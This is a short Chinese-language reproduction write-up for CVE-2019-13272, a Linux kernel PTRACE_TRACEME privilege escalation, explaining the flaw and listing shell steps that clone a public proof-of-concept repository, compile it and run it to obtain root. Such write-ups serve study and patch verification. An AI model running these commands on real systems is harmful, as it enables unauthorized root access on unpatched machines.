简介
2019年07月20日,Linux正式修复了一个本地内核提权漏洞。通过此漏洞,攻击者可将普通权限用户提升为Root权限。
漏洞概述
当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数。但是,对象struct cred的生存周期规则不允许无条件地将RCU引用转换为稳定引用。
PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作。如果恶意低权限子进程使用PTRACE_TRACEME并且该子进程的父进程具有高权限,该子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程。
测试版本
linux kali 4.19.0-kal i4- amd64
影响版本
Linux Kernel < 5.1.17
漏洞复现
1、创建用户ok,用户模式下进入/tmp目录下载cve
useradd ok
su - ok
cd /tmp
git clone https://github.com/jas502n/CVE-2019-13272
cd CVE-2019-13272
2、对下载好的漏洞POC进行编译,运行编译好的文件
gcc -s CVE-2019-13272.c -o CVE-2019-13272
./CVE-2019-13272
查看一下当前的用户发现是root,证明复现成功!
注:本实验不得用于商业用途,仅做学习交流,一切后果自行承担。